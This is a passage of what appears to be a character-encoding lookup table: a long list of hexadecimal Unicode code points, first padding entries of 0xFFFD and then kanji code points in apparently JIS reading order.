0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0x4E9C, 0x5516, 0x5A03,
0x963F, 0x54C0, 0x611B, 0x6328, 0x59F6, 0x9022, 0x8475, 0x831C, 0x7A50,
0x60AA, 0x63E1, 0x6E25, 0x65ED, 0x8466, 0x82A6, 0x9BF5, 0x6893, 0x5727,
0x65A1, 0x6271, 0x5B9B, 0x59D0, 0x867B, 0x98F4, 0x7D62, 0x7DBE, 0x9B8E,
0x6216, 0x7C9F, 0x88B7, 0x5B89, 0x5EB5, 0x6309, 0x6697, 0x6848, 0x95C7,
0x978D, 0x674F, 0x4EE5, 0x4F0A, 0x4F4D, 0x4F9D, 0x5049, 0x56F2, 0x5937,
0x59D4, 0x5A01, 0x5C09, 0x60DF, 0x610F, 0x6170, 0x6613, 0x6905, 0x70BA,
0x754F, 0x7570, 0x79FB, 0x7DAD, 0x7DEF, 0x80C3, 0x840E, 0x8863, 0x8B02,
0x9055, 0x907A, 0x533B, 0x4E95, 0x4EA5, 0x57DF, 0x80B2, 0x90C1, 0x78EF,
0x4E00, 0x58F1, 0x6EA2, 0x9038, 0x7A32, 0x8328, 0x828B, 0x9C2F, 0x5141,
0x5370, 0x54BD, 0x54E1, 0x56E0, 0x59FB, 0x5F15, 0x98F2, 0x6DEB, 0x80E4,
0x852D, 0x9662, 0x9670, 0x96A0, 0x97FB, 0x540B, 0x53F3, 0x5B87, 0x70CF,
0x7FBD, 0x8FC2, 0x96E8, 0x536F, 0x9D5C, 0x7ABA, 0x4E11, 0x7893, 0x81FC,
0x6E26, 0x5618, 0x5504, 0x6B1D, 0x851A, 0x9C3B, 0x59E5, 0x53A9, 0x6D66,
0x74DC, 0x958F, 0x5642, 0x4E91, 0x904B, 0x96F2, 0x834F, 0x990C, 0x53E1,
0x55B6, 0x5B30, 0x5F71, 0x6620, 0x66F3, 0x6804, 0x6C38, 0x6CF3, 0x6D29,
0x745B, 0x76C8, 0x7A4E, 0x9834, 0x82F1, 0x885B, 0x8A60, 0x92ED, 0x6DB2,
0x75AB, 0x76CA, 0x99C5, 0x60A6, 0x8B01, 0x8D8A, 0x95B2, 0x698E, 0x53AD,
0x5186, 0x5712, 0x5830, 0x5944, 0x5BB4, 0x5EF6, 0x6028, 0x63A9, 0x63F4,
0x6CBF, 0x6F14, 0x708E, 0x7114, 0x7159, 0x71D5, 0x733F, 0x7E01, 0x8276,
0x82D1, 0x8597, 0x9060, 0x925B, 0x9D1B, 0x5869, 0x65BC, 0x6C5A, 0x7525,
0x51F9, 0x592E, 0x5965, 0x5F80, 0x5FDC, 0x62BC, 0x65FA, 0x6A2A, 0x6B27,
0x6BB4, 0x738B, 0x7FC1, 0x8956, 0x9D2C, 0x9D0E, 0x9EC4, 0x5CA1, 0x6C96,
0x837B, 0x5104, 0x5C4B, 0x61B6, 0x81C6, 0x6876, 0x7261, 0x4E59, 0x4FFA,
0x5378, 0x6069, 0x6E29, 0x7A4F, 0x97F3, 0x4E0B, 0x5316, 0x4EEE, 0x4F55,
0x4F3D, 0x4FA1, 0x4F73, 0x52A0, 0x53EF, 0x5609, 0x590F, 0x5AC1, 0x5BB6,
0x5BE1, 0x79D1, 0x6687, 0x679C, 0x67B6, 0x6B4C, 0x6CB3, 0x706B, 0x73C2,
0x798D, 0x79BE, 0x7A3C, 0x7B87, 0x82B1, 0x82DB, 0x8304, 0x8377, 0x83EF,
0x83D3, 0x8766, 0x8AB2, 0x5629, 0x8CA8, 0x8FE6, 0x904E, 0x971E, 0x868A,
0x4FC4, 0x5CE8, 0x6211, 0x7259, 0x753B, 0x81E5, 0x82BD, 0x86FE, 0x8CC0,
0x96C5, 0x9913, 0x99D5, 0x4ECB, 0x4F1A, 0x89E3, 0x56DE, 0x584A, 0x58CA,
0x5EFB, 0x5FEB, 0x602A, 0x6094, 0x6062, 0x61D0, 0x6212, 0x62D0, 0x6539,
0x9B41, 0x6666, 0x68B0, 0x6D77, 0x7070, 0x754C, 0x7686, 0x7D75, 0x82A5,
0x87F9, 0x958B, 0x968E, 0x8C9D, 0x51F1, 0x52BE, 0x5916, 0x54B3, 0x5BB3,
0x5D16, 0x6168, 0x6982, 0x6DAF, 0x788D, 0x84CB, 0x8857, 0x8A72, 0x93A7,
0x9AB8, 0x6D6C, 0x99A8, 0x86D9, 0x57A3, 0x67FF, 0x86CE, 0x920E, 0x5283,
0x5687, 0x5404, 0x5ED3, 0x62E1, 0x64B9, 0x683C, 0x6838, 0x6BBB, 0x7372,
0x78BA, 0x7A6B, 0x899A, 0x89D2, 0x8D6B, 0x8F03, 0x90ED, 0x95A3, 0x9694,
0x9769, 0x5B66, 0x5CB3, 0x697D, 0x984D, 0x984E, 0x639B, 0x7B20, 0x6A2B,
0x6A7F, 0x68B6, 0x9C0D, 0x6F5F, 0x5272, 0x559D, 0x6070, 0x62EC, 0x6D3B,
0x6E07, 0x6ED1, 0x845B, 0x8910, 0x8F44, 0x4E14, 0x9C39, 0x53F6, 0x691B,
0x6A3A, 0x9784, 0x682A, 0x515C, 0x7AC3, 0x84B2, 0x91DC, 0x938C, 0x565B,
0x9D28, 0x6822, 0x8305, 0x8431, 0x7CA5, 0x5208, 0x82C5, 0x74E6, 0x4E7E,
0x4F83, 0x51A0, 0x5BD2, 0x520A, 0x52D8, 0x52E7, 0x5DFB, 0x559A, 0x582A,
0x59E6, 0x5B8C, 0x5B98, 0x5BDB, 0x5E72, 0x5E79, 0x60A3, 0x611F, 0x6163,
0x61BE, 0x63DB, 0x6562, 0x67D1, 0x6853, 0x68FA, 0x6B3E, 0x6B53, 0x6C57,
0x6F22, 0x6F97, 0x6F45, 0x74B0, 0x7518, 0x76E3, 0x770B, 0x7AFF, 0x7BA1,
0x7C21, 0x7DE9, 0x7F36, 0x7FF0, 0x809D, 0x8266, 0x839E, 0x89B3, 0x8ACC,
0x8CAB, 0x9084, 0x9451, 0x9593, 0x9591, 0x95A2, 0x9665, 0x97D3, 0x9928,
0x8218, 0x4E38, 0x542B, 0x5CB8, 0x5DCC, 0x73A9, 0x764C, 0x773C, 0x5CA9,
0x7FEB, 0x8D0B, 0x96C1, 0x9811, 0x9854, 0x9858, 0x4F01, 0x4F0E, 0x5371,
0x559C, 0x5668, 0x57FA, 0x5947, 0x5B09, 0x5BC4, 0x5C90, 0x5E0C, 0x5E7E,
0x5FCC, 0x63EE, 0x673A, 0x65D7, 0x65E2, 0x671F, 0x68CB, 0x68C4, 0x6A5F,
0x5E30, 0x6BC5, 0x6C17, 0x6C7D, 0x757F, 0x7948, 0x5B63, 0x7A00, 0x7D00,
0x5FBD, 0x898F, 0x8A18, 0x8CB4, 0x8D77, 0x8ECC, 0x8F1D, 0x98E2, 0x9A0E,
0x9B3C, 0x4E80, 0x507D, 0x5100, 0x5993, 0x5B9C, 0x622F, 0x6280, 0x64EC,
0x6B3A, 0x72A0, 0x7591, 0x7947, 0x7FA9, 0x87FB, 0x8ABC, 0x8B70, 0x63AC,
0x83CA, 0x97A0, 0x5409, 0x5403, 0x55AB, 0x6854, 0x6A58, 0x8A70, 0x7827,
0x6775, 0x9ECD, 0x5374, 0x5BA2, 0x811A, 0x8650, 0x9006, 0x4E18, 0x4E45,
0x4EC7, 0x4F11, 0x53CA, 0x5438, 0x5BAE, 0x5F13, 0x6025, 0x6551, 0x673D,
0x6C42, 0x6C72, 0x6CE3, 0x7078, 0x7403, 0x7A76, 0x7AAE, 0x7B08, 0x7D1A,
0x7CFE, 0x7D66, 0x65E7, 0x725B, 0x53BB, 0x5C45, 0x5DE8, 0x62D2, 0x62E0,
0x6319, 0x6E20, 0x865A, 0x8A31, 0x8DDD, 0x92F8, 0x6F01, 0x79A6, 0x9B5A,
0x4EA8, 0x4EAB, 0x4EAC, 0x4F9B, 0x4FA0, 0x50D1, 0x5147, 0x7AF6, 0x5171,
0x51F6, 0x5354, 0x5321, 0x537F, 0x53EB, 0x55AC, 0x5883, 0x5CE1, 0x5F37,
0x5F4A, 0x602F, 0x6050, 0x606D, 0x631F, 0x6559, 0x6A4B, 0x6CC1, 0x72C2,
0x72ED, 0x77EF, 0x80F8, 0x8105, 0x8208, 0x854E, 0x90F7, 0x93E1, 0x97FF,
0x9957, 0x9A5A, 0x4EF0, 0x51DD, 0x5C2D, 0x6681, 0x696D, 0x5C40, 0x66F2,
0x6975, 0x7389, 0x6850, 0x7C81, 0x50C5, 0x52E4, 0x5747, 0x5DFE, 0x9326,
0x65A4, 0x6B23, 0x6B3D, 0x7434, 0x7981, 0x79BD, 0x7B4B, 0x7DCA, 0x82B9,
0x83CC, 0x887F, 0x895F, 0x8B39, 0x8FD1, 0x91D1, 0x541F, 0x9280, 0x4E5D,
0x5036, 0x53E5, 0x533A, 0x72D7, 0x7396, 0x77E9, 0x82E6, 0x8EAF, 0x99C6,
0x99C8, 0x99D2, 0x5177, 0x611A, 0x865E, 0x55B0, 0x7A7A, 0x5076, 0x5BD3,
0x9047, 0x9685, 0x4E32, 0x6ADB, 0x91E7, 0x5C51, 0x5C48, 0x6398, 0x7A9F,
0x6C93, 0x9774, 0x8F61, 0x7AAA, 0x718A, 0x9688, 0x7C82, 0x6817, 0x7E70,
0x6851, 0x936C, 0x52F2, 0x541B, 0x85AB, 0x8A13, 0x7FA4, 0x8ECD, 0x90E1,
0x5366, 0x8888, 0x7941, 0x4FC2, 0x50BE, 0x5211, 0x5144, 0x5553, 0x572D,
0x73EA, 0x578B, 0x5951, 0x5F62, 0x5F84, 0x6075, 0x6176, 0x6167, 0x61A9,
0x63B2, 0x643A, 0x656C, 0x666F, 0x6842, 0x6E13, 0x7566, 0x7A3D, 0x7CFB,
0x7D4C, 0x7D99, 0x7E4B, 0x7F6B, 0x830E, 0x834A, 0x86CD, 0x8A08, 0x8A63,
0x8B66, 0x8EFD, 0x981A, 0x9D8F, 0x82B8, 0x8FCE, 0x9BE8, 0x5287, 0x621F,
0x6483, 0x6FC0, 0x9699, 0x6841, 0x5091, 0x6B20, 0x6C7A, 0x6F54, 0x7A74,
0x7D50, 0x8840, 0x8A23, 0x6708, 0x4EF6, 0x5039, 0x5026, 0x5065, 0x517C,
0x5238, 0x5263, 0x55A7, 0x570F, 0x5805, 0x5ACC, 0x5EFA, 0x61B2, 0x61F8,
0x62F3, 0x6372, 0x691C, 0x6A29, 0x727D, 0x72AC, 0x732E, 0x7814, 0x786F,
0x7D79, 0x770C, 0x80A9, 0x898B, 0x8B19, 0x8CE2, 0x8ED2, 0x9063, 0x9375,
0x967A, 0x9855, 0x9A13, 0x9E78, 0x5143, 0x539F, 0x53B3, 0x5E7B, 0x5F26,
0x6E1B, 0x6E90, 0x7384, 0x73FE, 0x7D43, 0x8237, 0x8A00, 0x8AFA, 0x9650,
0x4E4E, 0x500B, 0x53E4, 0x547C, 0x56FA, 0x59D1, 0x5B64, 0x5DF1, 0x5EAB,
0x5F27, 0x6238, 0x6545, 0x67AF, 0x6E56, 0x72D0, 0x7CCA, 0x88B4, 0x80A1,
0x80E1, 0x83F0, 0x864E, 0x8A87, 0x8DE8, 0x9237, 0x96C7, 0x9867, 0x9F13,
0x4E94, 0x4E92, 0x4F0D, 0x5348, 0x5449, 0x543E, 0x5A2F, 0x5F8C, 0x5FA1,
0x609F, 0x68A7, 0x6A8E, 0x745A, 0x7881, 0x8A9E, 0x8AA4, 0x8B77, 0x9190,
0x4E5E, 0x9BC9, 0x4EA4, 0x4F7C, 0x4FAF, 0x5019, 0x5016, 0x5149, 0x516C,
0x529F, 0x52B9, 0x52FE, 0x539A, 0x53E3, 0x5411, 0x540E, 0x5589, 0x5751,
0x57A2, 0x597D, 0x5B54, 0x5B5D, 0x5B8F, 0x5DE5, 0x5DE7, 0x5DF7, 0x5E78,
0x5E83, 0x5E9A, 0x5EB7, 0x5F18, 0x6052, 0x614C, 0x6297, 0x62D8, 0x63A7,
0x653B, 0x6602, 0x6643, 0x66F4, 0x676D, 0x6821, 0x6897, 0x69CB, 0x6C5F,
0x6D2A, 0x6D69, 0x6E2F, 0x6E9D, 0x7532, 0x7687, 0x786C, 0x7A3F, 0x7CE0,
0x7D05, 0x7D18, 0x7D5E, 0x7DB1, 0x8015, 0x8003, 0x80AF, 0x80B1, 0x8154,
0x818F, 0x822A, 0x8352, 0x884C, 0x8861, 0x8B1B, 0x8CA2, 0x8CFC, 0x90CA,
0x9175, 0x9271, 0x783F, 0x92FC, 0x95A4, 0x964D, 0x9805, 0x9999, 0x9AD8,
0x9D3B, 0x525B, 0x52AB, 0x53F7, 0x5408, 0x58D5, 0x62F7, 0x6FE0, 0x8C6A,
0x8F5F, 0x9EB9, 0x514B, 0x523B, 0x544A, 0x56FD, 0x7A40, 0x9177, 0x9D60,
0x9ED2, 0x7344, 0x6F09, 0x8170, 0x7511, 0x5FFD, 0x60DA, 0x9AA8, 0x72DB,
0x8FBC, 0x6B64, 0x9803, 0x4ECA, 0x56F0, 0x5764, 0x58BE, 0x5A5A, 0x6068,
0x61C7, 0x660F, 0x6606, 0x6839, 0x68B1, 0x6DF7, 0x75D5, 0x7D3A, 0x826E,
0x9B42, 0x4E9B, 0x4F50, 0x53C9, 0x5506, 0x5D6F, 0x5DE6, 0x5DEE, 0x67FB,
0x6C99, 0x7473, 0x7802, 0x8A50, 0x9396, 0x88DF, 0x5750, 0x5EA7, 0x632B,
0x50B5, 0x50AC, 0x518D, 0x6700, 0x54C9, 0x585E, 0x59BB, 0x5BB0, 0x5F69,
0x624D, 0x63A1, 0x683D, 0x6B73, 0x6E08, 0x707D, 0x91C7, 0x7280, 0x7815,
0x7826, 0x796D, 0x658E, 0x7D30, 0x83DC, 0x88C1, 0x8F09, 0x969B, 0x5264,
0x5728, 0x6750, 0x7F6A, 0x8CA1, 0x51B4, 0x5742, 0x962A, 0x583A, 0x698A,
0x80B4, 0x54B2, 0x5D0E, 0x57FC, 0x7895, 0x9DFA, 0x4F5C, 0x524A, 0x548B,
0x643E, 0x6628, 0x6714, 0x67F5, 0x7A84, 0x7B56, 0x7D22, 0x932F, 0x685C,
0x9BAD, 0x7B39, 0x5319, 0x518A, 0x5237, 0x5BDF, 0x62F6, 0x64AE, 0x64E6,
0x672D, 0x6BBA, 0x85A9, 0x96D1, 0x7690, 0x9BD6, 0x634C, 0x9306, 0x9BAB,
0x76BF, 0x6652, 0x4E09, 0x5098, 0x53C2, 0x5C71, 0x60E8, 0x6492, 0x6563,
0x685F, 0x71E6, 0x73CA, 0x7523, 0x7B97, 0x7E82, 0x8695, 0x8B83, 0x8CDB,
0x9178, 0x9910, 0x65AC, 0x66AB, 0x6B8B, 0x4ED5, 0x4ED4, 0x4F3A, 0x4F7F,
0x523A, 0x53F8, 0x53F2, 0x55E3, 0x56DB, 0x58EB, 0x59CB, 0x59C9, 0x59FF,
0x5B50, 0x5C4D, 0x5E02, 0x5E2B, 0x5FD7, 0x601D, 0x6307, 0x652F, 0x5B5C,
0x65AF, 0x65BD, 0x65E8, 0x679D, 0x6B62, 0x6B7B, 0x6C0F, 0x7345, 0x7949,
0x79C1, 0x7CF8, 0x7D19, 0x7D2B, 0x80A2, 0x8102, 0x81F3, 0x8996, 0x8A5E,
0x8A69, 0x8A66, 0x8A8C, 0x8AEE, 0x8CC7, 0x8CDC, 0x96CC, 0x98FC, 0x6B6F,
0x4E8B, 0x4F3C, 0x4F8D, 0x5150, 0x5B57, 0x5BFA, 0x6148, 0x6301, 0x6642,
0x6B21, 0x6ECB, 0x6CBB, 0x723E, 0x74BD, 0x75D4, 0x78C1, 0x793A, 0x800C,
0x8033, 0x81EA, 0x8494, 0x8F9E, 0x6C50, 0x9E7F, 0x5F0F, 0x8B58, 0x9D2B,
0x7AFA, 0x8EF8, 0x5B8D, 0x96EB, 0x4E03, 0x53F1, 0x57F7, 0x5931, 0x5AC9,
0x5BA4, 0x6089, 0x6E7F, 0x6F06, 0x75BE, 0x8CEA, 0x5B9F, 0x8500, 0x7BE0,
0x5072, 0x67F4, 0x829D, 0x5C61, 0x854A, 0x7E1E, 0x820E, 0x5199, 0x5C04,
0x6368, 0x8D66, 0x659C, 0x716E, 0x793E, 0x7D17, 0x8005, 0x8B1D, 0x8ECA,
0x906E, 0x86C7, 0x90AA, 0x501F, 0x52FA, 0x5C3A, 0x6753, 0x707C, 0x7235,
0x914C, 0x91C8, 0x932B, 0x82E5, 0x5BC2, 0x5F31, 0x60F9, 0x4E3B, 0x53D6,
0x5B88, 0x624B, 0x6731, 0x6B8A, 0x72E9, 0x73E0, 0x7A2E, 0x816B, 0x8DA3,
0x9152, 0x9996, 0x5112, 0x53D7, 0x546A, 0x5BFF, 0x6388, 0x6A39, 0x7DAC,
0x9700, 0x56DA, 0x53CE, 0x5468, 0x5B97, 0x5C31, 0x5DDE, 0x4FEE, 0x6101,
0x62FE, 0x6D32, 0x79C0, 0x79CB, 0x7D42, 0x7E4D, 0x7FD2, 0x81ED, 0x821F,
0x8490, 0x8846, 0x8972, 0x8B90, 0x8E74, 0x8F2F, 0x9031, 0x914B, 0x916C,
0x96C6, 0x919C, 0x4EC0, 0x4F4F, 0x5145, 0x5341, 0x5F93, 0x620E, 0x67D4,
0x6C41, 0x6E0B, 0x7363, 0x7E26, 0x91CD, 0x9283, 0x53D4, 0x5919, 0x5BBF,
0x6DD1, 0x795D, 0x7E2E, 0x7C9B, 0x587E, 0x719F, 0x51FA, 0x8853, 0x8FF0,
0x4FCA, 0x5CFB, 0x6625, 0x77AC, 0x7AE3, 0x821C, 0x99FF, 0x51C6, 0x5FAA,
0x65EC, 0x696F, 0x6B89, 0x6DF3, 0x6E96, 0x6F64, 0x76FE, 0x7D14, 0x5DE1,
0x9075, 0x9187, 0x9806, 0x51E6, 0x521D, 0x6240, 0x6691, 0x66D9, 0x6E1A,
0x5EB6, 0x7DD2, 0x7F72, 0x66F8, 0x85AF, 0x85F7, 0x8AF8, 0x52A9, 0x53D9,
0x5973, 0x5E8F, 0x5F90, 0x6055, 0x92E4, 0x9664, 0x50B7, 0x511F, 0x52DD,
0x5320, 0x5347, 0x53EC, 0x54E8, 0x5546, 0x5531, 0x5617, 0x5968, 0x59BE,
0x5A3C, 0x5BB5, 0x5C06, 0x5C0F, 0x5C11, 0x5C1A, 0x5E84, 0x5E8A, 0x5EE0,
0x5F70, 0x627F, 0x6284, 0x62DB, 0x638C, 0x6377, 0x6607, 0x660C, 0x662D,
0x6676, 0x677E, 0x68A2, 0x6A1F, 0x6A35, 0x6CBC, 0x6D88, 0x6E09, 0x6E58,
0x713C, 0x7126, 0x7167, 0x75C7, 0x7701, 0x785D, 0x7901, 0x7965, 0x79F0,
0x7AE0, 0x7B11, 0x7CA7, 0x7D39, 0x8096, 0x83D6, 0x848B, 0x8549, 0x885D,
0x88F3, 0x8A1F, 0x8A3C, 0x8A54, 0x8A73, 0x8C61, 0x8CDE, 0x91A4, 0x9266,
0x937E, 0x9418, 0x969C, 0x9798, 0x4E0A, 0x4E08, 0x4E1E, 0x4E57, 0x5197,
0x5270, 0x57CE, 0x5834, 0x58CC, 0x5B22, 0x5E38, 0x60C5, 0x64FE, 0x6761,
0x6756, 0x6D44, 0x72B6, 0x7573, 0x7A63, 0x84B8, 0x8B72, 0x91B8, 0x9320,
0x5631, 0x57F4, 0x98FE, 0x62ED, 0x690D, 0x6B96, 0x71ED, 0x7E54, 0x8077,
0x8272, 0x89E6, 0x98DF, 0x8755, 0x8FB1, 0x5C3B, 0x4F38, 0x4FE1, 0x4FB5,
0x5507, 0x5A20, 0x5BDD, 0x5BE9, 0x5FC3, 0x614E, 0x632F, 0x65B0, 0x664B,
0x68EE, 0x699B, 0x6D78, 0x6DF1, 0x7533, 0x75B9, 0x771F, 0x795E, 0x79E6,
0x7D33, 0x81E3, 0x82AF, 0x85AA, 0x89AA, 0x8A3A, 0x8EAB, 0x8F9B, 0x9032,
0x91DD, 0x9707, 0x4EBA, 0x4EC1, 0x5203, 0x5875, 0x58EC, 0x5C0B, 0x751A,
0x5C3D, 0x814E, 0x8A0A, 0x8FC5, 0x9663, 0x976D, 0x7B25, 0x8ACF, 0x9808,
0x9162, 0x56F3, 0x53A8, 0x9017, 0x5439, 0x5782, 0x5E25, 0x63A8, 0x6C34,
0x708A, 0x7761, 0x7C8B, 0x7FE0, 0x8870, 0x9042, 0x9154, 0x9310, 0x9318,
0x968F, 0x745E, 0x9AC4, 0x5D07, 0x5D69, 0x6570, 0x67A2, 0x8DA8, 0x96DB,
0x636E, 0x6749, 0x6919, 0x83C5, 0x9817, 0x96C0, 0x88FE, 0x6F84, 0x647A,
0x5BF8, 0x4E16, 0x702C, 0x755D, 0x662F, 0x51C4, 0x5236, 0x52E2, 0x59D3,
0x5F81, 0x6027, 0x6210, 0x653F, 0x6574, 0x661F, 0x6674, 0x68F2, 0x6816,
0x6B63, 0x6E05, 0x7272, 0x751F, 0x76DB, 0x7CBE, 0x8056, 0x58F0, 0x88FD,
0x897F, 0x8AA0, 0x8A93, 0x8ACB, 0x901D, 0x9192, 0x9752, 0x9759, 0x6589,
0x7A0E, 0x8106, 0x96BB, 0x5E2D, 0x60DC, 0x621A, 0x65A5, 0x6614, 0x6790,
0x77F3, 0x7A4D, 0x7C4D, 0x7E3E, 0x810A, 0x8CAC, 0x8D64, 0x8DE1, 0x8E5F,
0x78A9, 0x5207, 0x62D9, 0x63A5, 0x6442, 0x6298, 0x8A2D, 0x7A83, 0x7BC0,
0x8AAC, 0x96EA, 0x7D76, 0x820C, 0x8749, 0x4ED9, 0x5148, 0x5343, 0x5360,
0x5BA3, 0x5C02, 0x5C16, 0x5DDD, 0x6226, 0x6247, 0x64B0, 0x6813, 0x6834,
0x6CC9, 0x6D45, 0x6D17, 0x67D3, 0x6F5C, 0x714E, 0x717D, 0x65CB, 0x7A7F,
0x7BAD, 0x7DDA, 0x7E4A, 0x7FA8, 0x817A, 0x821B, 0x8239, 0x85A6, 0x8A6E,
0x8CCE, 0x8DF5, 0x9078, 0x9077, 0x92AD, 0x9291, 0x9583, 0x9BAE, 0x524D,
0x5584, 0x6F38, 0x7136, 0x5168, 0x7985, 0x7E55, 0x81B3, 0x7CCE, 0x564C,
0x5851, 0x5CA8, 0x63AA, 0x66FE, 0x66FD, 0x695A, 0x72D9, 0x758F, 0x758E,
0x790E, 0x7956, 0x79DF, 0x7C97, 0x7D20, 0x7D44, 0x8607, 0x8A34, 0x963B,
0x9061, 0x9F20, 0x50E7, 0x5275, 0x53CC, 0x53E2, 0x5009, 0x55AA, 0x58EE,
0x594F, 0x723D, 0x5B8B, 0x5C64, 0x531D, 0x60E3, 0x60F3, 0x635C, 0x6383,
0x633F, 0x63BB, 0x64CD, 0x65E9, 0x66F9, 0x5DE3, 0x69CD, 0x69FD, 0x6F15,
0x71E5, 0x4E89, 0x75E9, 0x76F8, 0x7A93, 0x7CDF, 0x7DCF, 0x7D9C, 0x8061,
0x8349, 0x8358, 0x846C, 0x84BC, 0x85FB, 0x88C5, 0x8D70, 0x9001, 0x906D,
0x9397, 0x971C, 0x9A12, 0x50CF, 0x5897, 0x618E, 0x81D3, 0x8535, 0x8D08,
0x9020, 0x4FC3, 0x5074, 0x5247, 0x5373, 0x606F, 0x6349, 0x675F, 0x6E2C,
0x8DB3, 0x901F, 0x4FD7, 0x5C5E, 0x8CCA, 0x65CF, 0x7D9A, 0x5352, 0x8896,
0x5176, 0x63C3, 0x5B58, 0x5B6B, 0x5C0A, 0x640D, 0x6751, 0x905C, 0x4ED6,
0x591A, 0x592A, 0x6C70, 0x8A51, 0x553E, 0x5815, 0x59A5, 0x60F0, 0x6253,
0x67C1, 0x8235, 0x6955, 0x9640, 0x99C4, 0x9A28, 0x4F53, 0x5806, 0x5BFE,
0x8010, 0x5CB1, 0x5E2F, 0x5F85, 0x6020, 0x614B, 0x6234, 0x66FF, 0x6CF0,
0x6EDE, 0x80CE, 0x817F, 0x82D4, 0x888B, 0x8CB8, 0x9000, 0x902E, 0x968A,
0x9EDB, 0x9BDB, 0x4EE3, 0x53F0, 0x5927, 0x7B2C, 0x918D, 0x984C, 0x9DF9,
0x6EDD, 0x7027, 0x5353, 0x5544, 0x5B85, 0x6258, 0x629E, 0x62D3, 0x6CA2,
0x6FEF, 0x7422, 0x8A17, 0x9438, 0x6FC1, 0x8AFE, 0x8338, 0x51E7, 0x86F8,
0x53EA, 0x53E9, 0x4F46, 0x9054, 0x8FB0, 0x596A, 0x8131, 0x5DFD, 0x7AEA,
0x8FBF, 0x68DA, 0x8C37, 0x72F8, 0x9C48, 0x6A3D, 0x8AB0, 0x4E39, 0x5358,
0x5606, 0x5766, 0x62C5, 0x63A2, 0x65E6, 0x6B4E, 0x6DE1, 0x6E5B, 0x70AD,
0x77ED, 0x7AEF, 0x7BAA, 0x7DBB, 0x803D, 0x80C6, 0x86CB, 0x8A95, 0x935B,
0x56E3, 0x58C7, 0x5F3E, 0x65AD, 0x6696, 0x6A80, 0x6BB5, 0x7537, 0x8AC7,
0x5024, 0x77E5, 0x5730, 0x5F1B, 0x6065, 0x667A, 0x6C60, 0x75F4, 0x7A1A,
0x7F6E, 0x81F4, 0x8718, 0x9045, 0x99B3, 0x7BC9, 0x755C, 0x7AF9, 0x7B51,
0x84C4, 0x9010, 0x79E9, 0x7A92, 0x8336, 0x5AE1, 0x7740, 0x4E2D, 0x4EF2,
0x5B99, 0x5FE0, 0x62BD, 0x663C, 0x67F1, 0x6CE8, 0x866B, 0x8877, 0x8A3B,
0x914E, 0x92F3, 0x99D0, 0x6A17, 0x7026, 0x732A, 0x82E7, 0x8457, 0x8CAF,
0x4E01, 0x5146, 0x51CB, 0x558B, 0x5BF5, 0x5E16, 0x5E33, 0x5E81, 0x5F14,
0x5F35, 0x5F6B, 0x5FB4, 0x61F2, 0x6311, 0x66A2, 0x671D, 0x6F6E, 0x7252,
0x753A, 0x773A, 0x8074, 0x8139, 0x8178, 0x8776, 0x8ABF, 0x8ADC, 0x8D85,
0x8DF3, 0x929A, 0x9577, 0x9802, 0x9CE5, 0x52C5, 0x6357, 0x76F4, 0x6715,
0x6C88, 0x73CD, 0x8CC3, 0x93AE, 0x9673, 0x6D25, 0x589C, 0x690E, 0x69CC,
0x8FFD, 0x939A, 0x75DB, 0x901A, 0x585A, 0x6802, 0x63B4, 0x69FB, 0x4F43,
0x6F2C, 0x67D8, 0x8FBB, 0x8526, 0x7DB4, 0x9354, 0x693F, 0x6F70, 0x576A,
0x58F7, 0x5B2C, 0x7D2C, 0x722A, 0x540A, 0x91E3, 0x9DB4, 0x4EAD, 0x4F4E,
0x505C, 0x5075, 0x5243, 0x8C9E, 0x5448, 0x5824, 0x5B9A, 0x5E1D, 0x5E95,
0x5EAD, 0x5EF7, 0x5F1F, 0x608C, 0x62B5, 0x633A, 0x63D0, 0x68AF, 0x6C40,
0x7887, 0x798E, 0x7A0B, 0x7DE0, 0x8247, 0x8A02, 0x8AE6, 0x8E44, 0x9013,
0x90B8, 0x912D, 0x91D8, 0x9F0E, 0x6CE5, 0x6458, 0x64E2, 0x6575, 0x6EF4,
0x7684, 0x7B1B, 0x9069, 0x93D1, 0x6EBA, 0x54F2, 0x5FB9, 0x64A4, 0x8F4D,
0x8FED, 0x9244, 0x5178, 0x586B, 0x5929, 0x5C55, 0x5E97, 0x6DFB, 0x7E8F,
0x751C, 0x8CBC, 0x8EE2, 0x985B, 0x70B9, 0x4F1D, 0x6BBF, 0x6FB1, 0x7530,
0x96FB, 0x514E, 0x5410, 0x5835, 0x5857, 0x59AC, 0x5C60, 0x5F92, 0x6597,
0x675C, 0x6E21, 0x767B, 0x83DF, 0x8CED, 0x9014, 0x90FD, 0x934D, 0x7825,
